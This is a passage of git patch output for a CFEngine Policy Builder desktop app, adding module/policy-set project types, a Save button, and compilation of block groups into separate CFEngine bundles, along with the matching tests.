object'); + const project = json as unknown as ProjectMeta; checkSchemaVersion(project.schema_version); const folders = listOf(project.folders); const modules = listOf(project.files) @@ -257,7 +287,9 @@ export interface LoadedProject { data: ProjectData; description: string; masterfiles: string | null; + moduleName: string; name: string; + type: ProjectType; } // The masterfiles build entry's release, "master" for a branch/URL one, null without. @@ -270,21 +302,24 @@ function masterfilesOf(build: unknown[]): string | null { } /** - * An opened project's cfbs.json → what goes into the store. A cfbs project + * An opened project's cfbs.json and builder data (.policy-builder/project.json, + * null when there is none) → what goes into the store. A cfbs project * without builder data opens with one empty policy file named after it. */ -export function loadCfbsProject(json: unknown, folderName: string): LoadedProject { +export function loadCfbsProject(json: unknown, builder: unknown, folderName: string): LoadedProject { if (!isObject(json)) throw new Error('cfbs.json is not a JSON object'); - const name = (typeof json.name === 'string' && json.name.trim()) || folderName; - const description = typeof json.description === 'string' ? json.description : ''; + const type: ProjectType = json.type === 'module' ? 'module' : 'policy-set'; + const cfbsName = (typeof json.name === 'string' && json.name.trim()) || folderName; + const saved = isObject(builder) ? builder : {}; + // A policy set's cfbs.json name is its display name; a module's is its module name, so its display name is the builder's. + const name = (type === 'module' && typeof saved.name === 'string' && saved.name.trim()) || cfbsName; + const moduleName = typeof saved.module_name === 'string' && saved.module_name ? saved.module_name : type === 'module' ? cfbsName : moduleNameFor(name); + const identity = { description: typeof json.description === 'string' ? json.description : '', moduleName, name, type }; const masterfiles = masterfilesOf(Array.isArray(json.build) ? json.build : []); - if (isObject(json.meta) && json.meta[META_KEY] !== undefined && !isObject(json.meta[META_KEY])) { - throw new Error(`The project’s builder data is corrupt ("meta"."${META_KEY}" is not an object)`); - } - const data = builderMetaOf(json) ? fromCfbsProject(json) : null; - if (data && data.files.files.length > 0) return { data, description, masterfiles, name }; + const data = builder === null || builder === undefined ? null : fromBuilderProject(builder); + if (data && data.files.files.length > 0) return { ...identity, data, masterfiles }; const files = filesReducer(undefined, projectFilesInitialized(name)); - return { data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [] }, description, masterfiles, name }; + return { ...identity, data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [] }, masterfiles }; } /** The project folder's name for a project name: "Web Server Hardening" → "web-server-hardening". */ diff --git a/src/renderer/src/project/moduleName.test.ts b/src/renderer/src/project/moduleName.test.ts new file mode 100644 index 0000000..44e64bb --- /dev/null +++ b/src/renderer/src/project/moduleName.test.ts @@ -0,0 +1,12 @@ +import { moduleNameFor } from './moduleName'; + +describe('moduleNameFor', () => { + it.each([ + ['Web Server Hardening', 'web-server-hardening'], + [' Nginx -- demo!! ', 'nginx-demo'], + ['2024 plan', 'policy-2024-plan'], + ['***', 'policy'] + ])('%s → %s', (name, expected) => { + expect(moduleNameFor(name)).toBe(expected); + }); +}); diff --git a/src/renderer/src/project/moduleName.ts b/src/renderer/src/project/moduleName.ts new file mode 100644 index 0000000..af6ee5c --- /dev/null +++ b/src/renderer/src/project/moduleName.ts @@ -0,0 +1,13 @@ +// A cfbs module name for a project: lowercase letters, digits and single dashes, starting with a +// letter (cfbs validates a module project's name this way). "Web Server Hardening" → "web-server-hardening". +export function moduleNameFor(projectName: string): string { + const slug = projectName + .trim() + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 60) + .replace(/-+$/, ''); + if (!slug) return 'policy'; + return /^[a-z]/.test(slug) ? slug : `policy-${slug}`; +} diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index f7a2c3e..01736d8 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -6,9 +6,11 @@ import { createNginxDemoProject } from '../demo/nginxDemoProject'; import { type RootState, createAppStore, useAppDispatch, useAppSelector } from '../store'; import { projectFilesInitialized } from '../store/filesSlice'; import { UNDOABLE_KEYS, historyCleared } from '../store/history'; -import { projectCreated, projectLoaded, projectLocated } from '../store/projectSlice'; +import { projectCreated, projectLoaded, projectLocated, projectTypeChanged } from '../store/projectSlice'; import { selectCurrentProject } from '../store/projectSlice/selectors'; +import type { ProjectType } from '../store/projectSlice/types'; import { type ProjectData, loadCfbsProject, toCfbsProject } from './cfbsProject'; +import { moduleNameFor } from './moduleName'; const snapshotOf = (state: RootState): ProjectData => ({ canvas: state.canvas, @@ -42,10 +44,11 @@ export function useProjectSession() { const markSaved = (data = snapshotOf(store.getState())) => setBaseline(data); const createProject = async (values: ProjectFormValues): Promise => { - const { name, description } = values; + const { name, description, type } = values; + const moduleName = moduleNameFor(name); const filesInitialized = projectFilesInitialized(name); const open = (located: { masterfiles: string | null; path: string | null }) => { - dispatch(projectCreated({ name, description, ...located })); + dispatch(projectCreated({ name, description, moduleName, type, ...located })); // Every project starts with one policy file, named after the project (its namespace derives from it). dispatch(filesInitialized); dispatch(historyCleared()); @@ -59,7 +62,8 @@ export function useProjectSession() { const scratch = createAppStore(); scratch.dispatch(projectCreated({ name })); scratch.dispatch(filesInitialized); - const result = await window.api.createProject({ ...values, parent: values.parent, ...toCfbsProject(snapshotOf(scratch.getState())) }); + const content = toCfbsProject(snapshotOf(scratch.getState()), { description, moduleName, name }); + const result = await window.api.createProject({ ...values, parent: values.parent, ...content }); if (!result.ok) return result; open(result); return { ok: true }; @@ -68,9 +72,12 @@ export function useProjectSession() { const saveProjectAs = async (values: ProjectFormValues): Promise => { if (!window.api || !values.parent) return { ok: false, message: 'Saving needs the desktop app', details: '' }; const data = snapshotOf(store.getState()); - const result = await window.api.createProject({ ...values, parent: values.parent, ...toCfbsProject(data) }); + const moduleName = moduleNameFor(values.name); + const content = toCfbsProject(data, { description: values.description, moduleName, name: values.name }); + const result = await window.api.createProject({ ...values, parent: values.parent, ...content }); if (!result.ok) return result; - dispatch(projectLocated({ name: values.name, description: values.description, masterfiles: result.masterfiles, path: result.path })); + const { description, name, type } = values; + dispatch(projectLocated({ description, masterfiles: result.masterfiles, moduleName, name, path: result.path, type })); markSaved(data); return { ok: true }; }; @@ -103,8 +110,12 @@ export function useProjectSession() { saving.current = true; const data = snapshotOf(store.getState()); try { - const result = await window.api.saveProject(current.path, toCfbsProject(data)); + const content = toCfbsProject(data, current); + // The stored type is what cfbs.json becomes: a type change in Project Settings converts it here. + const result = await window.api.saveProject(current.path, content, { masterfiles: current.masterfiles, type: current.type }); if (!result.ok) throw new Error(result.message); + // A conversion to a policy set brings masterfiles: show the version it got. + if (result.masterfiles !== current.masterfiles) dispatch(projectTypeChanged({ masterfiles: result.masterfiles, type: current.type })); markSaved(data); return true; } catch (cause) { @@ -115,6 +126,19 @@ export function useProjectSession() { } }; + // Project Settings: store the project as a policy set or a module. On disk, that's saved (and + // cfbs.json converted) at once; if the save fails, the type goes back. + const changeProjectType = async (type: ProjectType, masterfiles: string | null): Promise => { + const current = store.getState().project; + if (!current) return false; + const previous = { masterfiles: current.masterfiles, type: current.type }; + dispatch(projectTypeChanged({ type, ...(masterfiles ? { masterfiles } : {}) })); + if (!current.path) return true; + const saved = await save(); + if (!saved) dispatch(projectTypeChanged(previous)); + return saved; + }; + // No path: the native picker asks. The current project stays as is unless the new one loads. const openProject = async (path?: string) => { if (!window.api) return; @@ -122,8 +146,8 @@ export function useProjectSession() { const result = await window.api.openProject(path ? { path } : {}); if (!result) return; if (!result.ok) throw new Error(result.message); - const { data, description, masterfiles, name } = loadCfbsProject(result.cfbs, folderNameOf(result.path)); - dispatch(projectLoaded({ description, masterfiles, name, path: result.path }, data)); + const { data, ...project } = loadCfbsProject(result.cfbs, result.builder, folderNameOf(result.path)); + dispatch(projectLoaded({ ...project, path: result.path }, data)); dispatch(historyCleared()); markSaved(); } catch (cause) { @@ -150,6 +174,7 @@ export function useProjectSession() { }; return { + changeProjectType, closeProjectDialog, dirty, dismissError: () => setError(null), diff --git a/src/renderer/src/store/projectSlice/index.ts b/src/renderer/src/store/projectSlice/index.ts index cb1cb95..e103567 100644 --- a/src/renderer/src/store/projectSlice/index.ts +++ b/src/renderer/src/store/projectSlice/index.ts @@ -1,6 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; -import type { Project, ProjectContentState } from './types'; +import { moduleNameFor } from '../../project/moduleName'; +import type { Project, ProjectContentState, ProjectType } from './types'; type NewProject = Pick & Partial>; @@ -13,8 +14,8 @@ const projectSlice = createSlice({ reducer(_state, action: PayloadAction) { return action.payload; }, - prepare({ description = '', masterfiles = null, name, path = null }: NewProject) { - return { payload: { description, id: crypto.randomUUID(), masterfiles, name, path } }; + prepare({ description = '', masterfiles = null, moduleName, name, path = null, type = 'policy-set' }: NewProject) { + return { payload: { description, id: crypto.randomUUID(), masterfiles, moduleName: moduleName ?? moduleNameFor(name), name, path, type } }; } }, // An existing project opened from disk: every content slice takes its part of `content`. @@ -27,11 +28,17 @@ const projectSlice = createSlice({ } }, // An in-memory project got its folder on disk ("Save Project As"); content stays as is. - projectLocated(state, action: PayloadAction>) { + projectLocated(state, action: PayloadAction>) { if (state) Object.assign(state, action.payload); + }, + // Project Settings: stored as a policy set or a module from now on (the next save rewrites cfbs.json). + projectTypeChanged(state, action: PayloadAction<{ masterfiles?: string | null; type: ProjectType }>) { + if (!state) return; + state.type = action.payload.type; + if (action.payload.masterfiles !== undefined) state.masterfiles = action.payload.masterfiles; } } }); -export const { projectCreated, projectLoaded, projectLocated } = projectSlice.actions; +export const { projectCreated, projectLoaded, projectLocated, projectTypeChanged } = projectSlice.actions; export default projectSlice.reducer; diff --git a/src/renderer/src/store/projectSlice/types.ts b/src/renderer/src/store/projectSlice/types.ts index 056e3be..22323ff 100644 --- a/src/renderer/src/store/projectSlice/types.ts +++ b/src/renderer/src/store/projectSlice/types.ts @@ -3,15 +3,23 @@ import type { BlockEdge } from '../edgesSlice/types'; import type { PolicyFile, PolicyFolder } from '../filesSlice/types'; import type { BlockGroup } from '../groupsSlice/types'; +// How the project is stored: a policy set (masterfiles plus this project, built with +// `cfbs build`), or a module other policy sets add with `cfbs add` (cfbs.json `type`). +export type ProjectType = 'module' | 'policy-set'; + export interface Project { description: string; // New per created project; remounts the project view. id: string; // The masterfiles version in the cfbs project, null for none (or not saved yet). masterfiles: string | null; + // The module's name when stored as one ("nginx-web-server-demo"): derived once and kept, since + // policy sets that add it refer to it by name. + moduleName: string; name: string; // The cfbs project folder; null while the project only lives in memory (the demo). path: string | null; + type: ProjectType; } // A whole project's content, as read from cfbs.json (spelled out: RootState would be circular here). From 444b471bebe5227b40af514d347b5ef00ac4580d Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 20:03:42 +0300 Subject: [PATCH 011/141] Added a Save button to the top bar It reads "Save" for a project on disk, enabled while there are unsaved changes, and "Save As..." for one that isn't saved yet (the demo). It replaces the "Generate Policy" placeholder: saving generates the policy. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/open.spec.ts | 4 +++- src/renderer/src/App.test.tsx | 3 +++ src/renderer/src/components/TopBar.tsx | 30 +++++++++++++++++++++++--- src/renderer/src/pages/ProjectView.tsx | 2 ++ 4 files changed, 35 insertions(+), 4 deletions(-) diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts index c6dfb2f..135a0d0 100644 --- a/e2e/open.spec.ts +++ b/e2e/open.spec.ts @@ -175,8 +175,10 @@ test('opens a project whose builder data is still in cfbs.json, and moves it out await openFromMenu(path); await expect(statusBar.getByText('Blocks: 2', { exact: true })).toBeVisible(); + const save = window.getByRole('button', { name: 'Save', exact: true }); + await expect(save).toBeDisabled(); await window.getByRole('button', { name: /^Copy File\b/ }).click(); - await window.keyboard.press('ControlOrMeta+s'); + await save.click(); await expect .poll(() => (existsSync(join(path, '.policy-builder/project.json')) ? builderJson(path).files[0].blocks.length : 0), { timeout: SAVE_TIMEOUT_MS }) diff --git a/src/renderer/src/App.test.tsx b/src/renderer/src/App.test.tsx index a8d7cf5..f468770 100644 --- a/src/renderer/src/App.test.tsx +++ b/src/renderer/src/App.test.tsx @@ -38,6 +38,9 @@ describe('App', () => { expect(screen.getByText(/project: web server hardening/i)).toBeInTheDocument(); // Appears in both the top bar's namespace badge and the status bar. expect(screen.getAllByText(/bundle: web_server_hardening/i).length).toBeGreaterThan(0); + // Not on disk (no desktop app in tests), so saving means choosing where first. + // (By text: the closing New Project dialog still hides the page from role queries.) + expect(screen.getByText('Save As…').closest('button')).toBeEnabled(); }); it('adds a block to the canvas by clicking it in the palette, then edits its properties', () => { diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index 350c7ab..a447962 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -17,8 +17,12 @@ interface TopBarProps { fileGate?: string; masterfiles: string | null; onOpenSettings: () => void; + // Saving writes cfbs.json, the builder's data and the generated policy. + onSave: () => void; onTabChange: (index: number) => void; projectName: string; + // A project that isn't on disk yet (the demo) is saved with Save As. + savedToDisk: boolean; type: ProjectType; } @@ -38,7 +42,20 @@ const chipSx = { maxWidth: 200 } as const; -export function TopBar({ projectName, dirty, masterfiles, bundle, fileGate, blockCount, activeTab, onTabChange, onOpenSettings, type }: TopBarProps) { +export function TopBar({ + projectName, + dirty, + masterfiles, + bundle, + fileGate, + blockCount, + activeTab, + onTabChange, + onOpenSettings, + onSave, + savedToDisk, + type +}: TopBarProps) { return ( {blockCount} blocks - diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index f944e99..097662f 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -824,7 +824,9 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi blockCount={instances.length} activeTab={activeTab} onTabChange={setActiveTab} + onSave={onSave} onOpenSettings={onOpenSettings} + savedToDisk={Boolean(project.path)} type={project.type} /> From 38b8599373eb503e8a0fae2120489acc5d8a369e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 23:05:25 +0300 Subject: [PATCH 012/141] Groups now compile into their own bundles and take arrows A group's blocks compile into bundle agent _, called from the file's bundle as one step at the group's place in the order. The call is gated by the group's own condition and incoming arrows, and arrows out of a group read its rolled-up outcome. Arrows can't cross a frame (results() classes are bundle-scoped): one that would is attached to the group, and ungrouping fans the group's arrows out to its first and last blocks. Builder data is now schema version 2. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 20 +++- e2e/open.spec.ts | 2 +- python/cfpb_compiler.py | 113 +++++++++++++----- python/tests/test_compiler.py | 57 +++++++++ src/renderer/src/canvas/executionOrder.ts | 69 +++++++---- src/renderer/src/canvas/groupEdges.ts | 109 +++++++++++++++++ src/renderer/src/components/FlowCanvas.tsx | 68 ++++++----- .../src/components/GroupFrameNode.tsx | 46 +++++-- src/renderer/src/components/GroupPanel.tsx | 22 +++- src/renderer/src/pages/ProjectView.tsx | 58 +++++++-- src/renderer/src/pages/useGroupActions.ts | 21 ++-- src/renderer/src/project/cfbsProject.ts | 50 ++++++-- src/renderer/src/store/edgesSlice/index.ts | 13 +- src/renderer/src/store/edgesSlice/types.ts | 4 +- src/renderer/src/store/groupArrows.ts | 76 ++++++++++++ src/renderer/src/store/groupsSlice/index.ts | 32 ++++- src/renderer/src/store/groupsSlice/types.ts | 17 ++- src/renderer/src/store/history.ts | 1 + 18 files changed, 648 insertions(+), 130 deletions(-) create mode 100644 src/renderer/src/canvas/groupEdges.ts create mode 100644 src/renderer/src/store/groupArrows.ts diff --git a/blocks/README.md b/blocks/README.md index c9d46bf..83fc724 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -66,7 +66,7 @@ bundle common _vars # every file_vars entry of the file bundle agent # what the cfbs `bundles ` step runs; absent when the file only defines variables and classes { - # # every block, in canvas order + # # every ungrouped block, in canvas order vars: # the block's locals, if any, named _ :: "_" => ; @@ -75,6 +75,18 @@ bundle agent # what the cfbs `bundles ` step "" , if => ".", classes => results("bundle", "_"); # only if an arrow starts here + + # Group: # a group, as one step, where it falls in the order + methods: + :: + "" usebundle => _, + if => ".", + classes => results("bundle", "_"); # only if an arrow starts here +} + +bundle agent _ # a group's blocks, written like the entry bundle's +{ + ... } ``` @@ -89,6 +101,12 @@ implements this; the output is run through `cfengine format`. the file part (`render_nginx_config_template_data`), since they live in the file's bundle. - **Conditions** and arrow gates combine into one class expression on the block's promise; the file condition is a class guard over every promise of the file. +- **Groups** run as one step: their blocks go into a bundle of their own (named like a block, from + the group's name), called from the entry bundle. `results()` classes are bundle-scoped, so arrows + never cross a group's frame — they attach to the group, and one out of it reads the call's + rolled-up outcome (not kept if any block failed, else repaired if any repaired, else kept; a + group whose blocks all skipped is kept). Define Variable / Define Class blocks in a group still + compile into `_vars`. - **A list parameter** in the promiser (`allow_list`) iterates over a `vars:` slist named after the block and parameter — or, holding just one value, is written in place. - **Templates** are files: every Render Template's template goes into `./templates/`, which ships as diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts index 135a0d0..e652442 100644 --- a/e2e/open.spec.ts +++ b/e2e/open.spec.ts @@ -154,7 +154,7 @@ test('opens a plain cfbs project with one empty file, keeping its build entries await window.keyboard.press('ControlOrMeta+s'); await expect .poll(() => (existsSync(join(path, '.policy-builder/project.json')) ? builderJson(path).schema_version : null), { timeout: SAVE_TIMEOUT_MS }) - .toBe(1); + .toBe(2); const saved = readJson(join(path, 'cfbs.json')); expect(saved.build[0]).toEqual(fake); expect(saved.build).toHaveLength(2); diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 3729879..b14311b 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -290,6 +290,8 @@ def compile(self) -> str: definitions = [b for b in blocks if self.descriptor(b).get("compile_target") == "file_vars"] sequenced = self.sequenced_blocks(blocks) names = self.block_names(sequenced) + groups = self.groups_of(sequenced) + names.update(self.group_names(groups)) sections = [ f"# Generated by CFEngine Policy Builder from \"{self.file.get('name', self.bundle)}\".", @@ -302,7 +304,8 @@ def compile(self) -> str: sections.append(vars_bundle) # Only variables and classes: nothing to call, so no entry bundle (and no `bundles` step). if sequenced: - sections.append(self.entry_bundle(sequenced, names)) + sections.append(self.entry_bundle(sequenced, names, groups)) + sections.extend(self.group_bundle(group, sequenced, names) for group in groups.values()) new_bodies = sorted(self.bodies - self.written_bodies) sections.extend(self.builder_body(name) for name in new_bodies) self.written_bodies.update(new_bodies) @@ -332,6 +335,32 @@ def block_names(self, blocks: list[dict]) -> dict[str, str]: names[block["instanceId"]] = name return names + def groups_of(self, blocks: list[dict]) -> dict[str, dict]: + """The groups holding at least one of `blocks`, in the order they first run.""" + known = {} + layout = (self.file.get("layout") or {}).get("groups") or [] + for group in [*layout, *(self.file.get("groups") or [])]: + if isinstance(group, dict) and isinstance(group.get("id"), str): + known[group["id"]] = {**known.get(group["id"], {}), **group} + groups = {} + for block in blocks: + group = known.get(block.get("groupId")) + if group and group["id"] not in groups: + groups[group["id"]] = group + return groups + + def group_names(self, groups: dict[str, dict]) -> dict[str, str]: + """`_`: the group's bundle, and what its call's results() classes are named after.""" + names = {} + for group in groups.values(): + base = f"{self.bundle}_{slug(group.get('name') or 'group')}" + name, suffix = base, 2 + while name in self.taken: + name, suffix = f"{base}_{suffix}", suffix + 1 + self.taken.add(name) + names[group["id"]] = name + return names + def file_guard(self) -> str | None: condition = self.file.get("condition") return class_expression(condition) if condition and condition.get("className", "").strip() else None @@ -469,43 +498,69 @@ def chain_promises( return lines return promise(quote(name), [f"{value_type} => {expression}", *extra, *condition_attributes(conditions)]) - # bundle agent : the entry bundle, calling every block in order. - def gating(self, block: dict, names: dict[str, str]) -> list[str]: - """What runs a block's promise: its condition and the arrows it waits for (`if`), and - the `results()` classes its own outgoing arrows read.""" - edges = self.file.get("edges") or [] - gate = self.arrow_gate(block, edges, names) - condition = block.get("condition") + def gating(self, node: dict, names: dict[str, str], edges: list[dict]) -> list[str]: + """What runs a block's (or group's) promise: its condition and the arrows it waits for (`if`), + and the `results()` classes its own outgoing arrows read. `edges`: the arrows in its bundle.""" + gate = self.arrow_gate(node, edges, names) + condition = node.get("condition") expressions = [class_expression(condition)] if condition and condition.get("className", "").strip() else [] expression = combined([*expressions, *([gate] if gate else [])]) attributes = [f"if => {quote(expression)}"] if expression else [] - if any(edge["source"] == block["instanceId"] for edge in edges): - attributes.append(f'classes => results("bundle", "{names[block["instanceId"]]}")') + if any(edge["source"] == node["instanceId"] for edge in edges): + attributes.append(f'classes => results("bundle", "{names[node["instanceId"]]}")') return attributes - # bundle agent : every block's own promise, in canvas order (top_down). - def entry_bundle(self, blocks: list[dict], names: dict[str, str]) -> str: + def scoped_edges(self, ids: set[str]) -> list[dict]: + """The arrows between `ids`: a bundle's results() classes are only seen inside it.""" + return [edge for edge in self.file.get("edges") or [] if edge["source"] in ids and edge["target"] in ids] + + def block_lines(self, block: dict, names: dict[str, str], edges: list[dict], owner: str, guarded: list[str]): + name = names[block["instanceId"]] + label = block.get("label") or self.descriptor(block)["name"] + # Locals are prefixed with the block's own name: blocks share a bundle. + parts = self.block_parts(block, name, prefix=f"{name[len(self.bundle) + 1:]}_", owner=owner) + if isinstance(parts, str): + return [f" # {parts}", ""] + variables, promise_type, promiser, attributes = parts + body = [f" # {label}"] + if variables: + body += [" vars:", *guarded, *[f" {line}" for line in variables]] + lines = promise(promiser, [*attributes, *self.gating(block, names, edges)]) + return [*body, f" {promise_type}:", *guarded, *[f" {line}" for line in lines], ""] + + # bundle agent : every ungrouped block's own promise and every group's call, in order (top_down). + def entry_bundle(self, blocks: list[dict], names: dict[str, str], groups: dict[str, dict]) -> str: guard = self.file_guard() guarded = [f" {guard}::"] if guard else [] - body = [] + outer = [b for b in blocks if b.get("groupId") not in groups] + edges = self.scoped_edges({b["instanceId"] for b in outer} | set(groups)) + body, called = [], set() for block in blocks: - name = names[block["instanceId"]] - label = block.get("label") or self.descriptor(block)["name"] - # Locals are prefixed with the block's own name: blocks share this bundle. - parts = self.block_parts(block, name, prefix=f"{name[len(self.bundle) + 1:]}_", owner=self.bundle) - if isinstance(parts, str): - body += [f" # {parts}", ""] - continue - variables, promise_type, promiser, attributes = parts - body.append(f" # {label}") - if variables: - body += [" vars:", *guarded, *[f" {line}" for line in variables]] - lines = promise(promiser, [*attributes, *self.gating(block, names)]) - body += [f" {promise_type}:", *guarded, *[f" {line}" for line in lines], ""] + group = groups.get(block.get("groupId")) + if group is None: + body += self.block_lines(block, names, edges, self.bundle, guarded) + elif group["id"] not in called: + called.add(group["id"]) + node = {**group, "instanceId": group["id"]} + lines = promise( + quote(group.get("name") or "group"), + [f"usebundle => {names[group['id']]}", *self.gating(node, names, edges)], + ) + body += [f" # Group: {group.get('name') or 'group'}", " methods:", *guarded] + body += [*[f" {line}" for line in lines], ""] return f"bundle agent {self.bundle}\n{{\n" + "\n".join(body).rstrip() + "\n}" - def arrow_gate(self, block: dict, edges: list[dict], names: dict[str, str]) -> str | None: - incoming = [edge for edge in edges if edge["target"] == block["instanceId"] and edge["source"] in names] + # bundle agent _: a group's blocks, called from the entry bundle as one step. + def group_bundle(self, group: dict, blocks: list[dict], names: dict[str, str]) -> str: + name = names[group["id"]] + members = [b for b in blocks if b.get("groupId") == group["id"]] + edges = self.scoped_edges({b["instanceId"] for b in members}) + comment = f'# Group "{group.get("name") or "group"}", run as one step of {self.bundle}.' + body = [line for block in members for line in self.block_lines(block, names, edges, name, [])] + return f"{comment}\nbundle agent {name}\n{{\n" + "\n".join(body).rstrip() + "\n}" + + def arrow_gate(self, node: dict, edges: list[dict], names: dict[str, str]) -> str | None: + incoming = [edge for edge in edges if edge["target"] == node["instanceId"] and edge["source"] in names] if not incoming: return None gates = [] @@ -517,7 +572,7 @@ def arrow_gate(self, block: dict, edges: list[dict], names: dict[str, str]) -> s else: classes = "|".join(f"{prefix}_{OUTCOME_SUFFIX[o]}" for o in outcomes) gates.append(f"({classes})" if len(outcomes) > 1 and len(incoming) > 1 else classes) - return ("|" if block.get("incomingMode") == "any" else ".").join(gates) + return ("|" if node.get("incomingMode") == "any" else ".").join(gates) def block_parts( self, block: dict, name: str, prefix: str, owner: str diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index a953aa6..e37d7af 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -302,3 +302,60 @@ def test_compiled_demo_passes_cf_promises(tmp_path: Path): result = subprocess.run(["cf-promises", "-f", str(tmp_path / "promises.cf")], capture_output=True, text=True) assert result.returncode == 0, result.stderr + + +def _grouped_demo() -> dict: + """The demo with Render config + Restart nginx in a group, arrows attached to its frame.""" + meta = _demo() + file = _webserver(meta) + ids = {block["label"]: block["instanceId"] for block in file["blocks"]} + for label in ("Render nginx config", "Restart nginx on config change"): + next(b for b in file["blocks"] if b["label"] == label)["groupId"] = "g1" + file["groups"] = [ + {"id": "g1", "name": "Configure nginx", "condition": {"kind": "class", "className": "linux", "mode": "if"}} + ] + file["layout"]["groups"] = [{"id": "g1", "name": "Configure nginx", "color": "info"}] + for edge in file["edges"]: + if edge["target"] == ids["Render nginx config"]: + edge["target"] = "g1" + file["edges"].append( + {"id": "e-out", "source": "g1", "target": ids["Keep nginx running"], "outcomes": ["kept", "repaired"]} + ) + return meta + + +def test_a_group_is_its_own_bundle_called_as_one_step(): + policy = compile_project(_grouped_demo())[WEBSERVER] + group = policy.split("bundle agent webserver_configure_nginx\n")[1] + entry = policy.split("bundle agent webserver\n")[1].split("\n}")[0] + + assert ' # Group: Configure nginx\n methods:\n "Configure nginx"\n' in entry + call = _block(policy, "Group: Configure nginx") + assert "usebundle => webserver_configure_nginx," in call + assert ( + 'if => "linux.(webserver_install_web_server_package_kept|webserver_install_web_server_package_repaired)"' + in call + ) + assert 'classes => results("bundle", "webserver_configure_nginx");' in call + keep = _block(policy, "Keep nginx running") + assert keep.endswith('.(webserver_configure_nginx_kept|webserver_configure_nginx_repaired)";\n') + # Arrows inside the group stay inside its bundle. + assert "# Render nginx config" not in entry + assert 'classes => results("bundle", "webserver_render_nginx_config");' in group + assert 'if => "webserver_render_nginx_config_repaired"' in group + + +@pytest.mark.skipif(shutil.which("cf-promises") is None, reason="needs a local CFEngine 3.27+") +def test_compiled_groups_pass_cf_promises(tmp_path: Path): + for path, policy in compile_project(_grouped_demo()).items(): + (tmp_path / path).parent.mkdir(parents=True, exist_ok=True) + (tmp_path / path).write_text(policy) + shutil.copy(FIXTURES / "stdlib-stub.cf", tmp_path / "stdlib.cf") + (tmp_path / "promises.cf").write_text( + 'body common control { inputs => { "stdlib.cf", "common.cf", "webserver.cf" };' + ' bundlesequence => { "webserver" }; }\n' + ) + + result = subprocess.run(["cf-promises", "-f", str(tmp_path / "promises.cf")], capture_output=True, text=True) + + assert result.returncode == 0, result.stderr diff --git a/src/renderer/src/canvas/executionOrder.ts b/src/renderer/src/canvas/executionOrder.ts index 758cec8..fff4042 100644 --- a/src/renderer/src/canvas/executionOrder.ts +++ b/src/renderer/src/canvas/executionOrder.ts @@ -8,34 +8,29 @@ export function isSequenced(descriptor: BlockDescriptor | undefined): boolean { return descriptor?.compile_target === 'own_bundle'; } -function readingOrder(a: BlockInstance, b: BlockInstance): number { +type Positioned = { id: string; position?: { x: number; y: number } }; + +function readingOrder(a: Positioned, b: Positioned): number { const ay = a.position?.y ?? 0; const by = b.position?.y ?? 0; if (ay !== by) return ay - by; return (a.position?.x ?? 0) - (b.position?.x ?? 0); } -/** - * The methods: call order for one file's canvas: every arrow's source comes - * before its target (Kahn's topological sort), and whenever several blocks - * are free to go next, the one highest on the canvas wins, then the - * leftmost. With no arrows at all this is plain top-to-bottom reading order, - * which is how a vertical stack of blocks always behaved. Derived, never - * stored, so it can't drift from what the canvas shows. - */ -export function executionOrder(instances: BlockInstance[], edges: BlockEdge[], descriptorsById: Map): string[] { - const nodes = instances.filter(instance => isSequenced(descriptorsById.get(instance.blockId))); - const ids = new Set(nodes.map(node => node.instanceId)); - const indegree = new Map(nodes.map(node => [node.instanceId, 0])); +// Kahn's topological sort over `nodes`, using only the arrows between them; +// whenever several are free to go next, the one highest on the canvas wins, then the leftmost. +function sortByArrows(nodes: Positioned[], edges: BlockEdge[]): string[] { + const ids = new Set(nodes.map(node => node.id)); + const indegree = new Map(nodes.map(node => [node.id, 0])); const relevant = edges.filter(edge => ids.has(edge.source) && ids.has(edge.target)); for (const edge of relevant) indegree.set(edge.target, (indegree.get(edge.target) ?? 0) + 1); - const byId = new Map(nodes.map(node => [node.instanceId, node])); + const byId = new Map(nodes.map(node => [node.id, node])); const outgoing = new Map(); for (const edge of relevant) outgoing.set(edge.source, [...(outgoing.get(edge.source) ?? []), edge.target]); - // Kept sorted by reading order, so the next block is always at the front. - const ready = nodes.filter(node => indegree.get(node.instanceId) === 0).sort(readingOrder); - const insertReady = (node: BlockInstance) => { + // Kept sorted by reading order, so the next node is always at the front. + const ready = nodes.filter(node => indegree.get(node.id) === 0).sort(readingOrder); + const insertReady = (node: Positioned) => { let low = 0; let high = ready.length; while (low < high) { @@ -48,8 +43,8 @@ export function executionOrder(instances: BlockInstance[], edges: BlockEdge[], d const order: string[] = []; while (ready.length > 0) { const next = ready.shift()!; - order.push(next.instanceId); - for (const target of outgoing.get(next.instanceId) ?? []) { + order.push(next.id); + for (const target of outgoing.get(next.id) ?? []) { const remaining = (indegree.get(target) ?? 0) - 1; indegree.set(target, remaining); if (remaining === 0) insertReady(byId.get(target)!); @@ -57,8 +52,40 @@ export function executionOrder(instances: BlockInstance[], edges: BlockEdge[], d } // Cycles are refused when drawn; this only guards against one slipping in. const 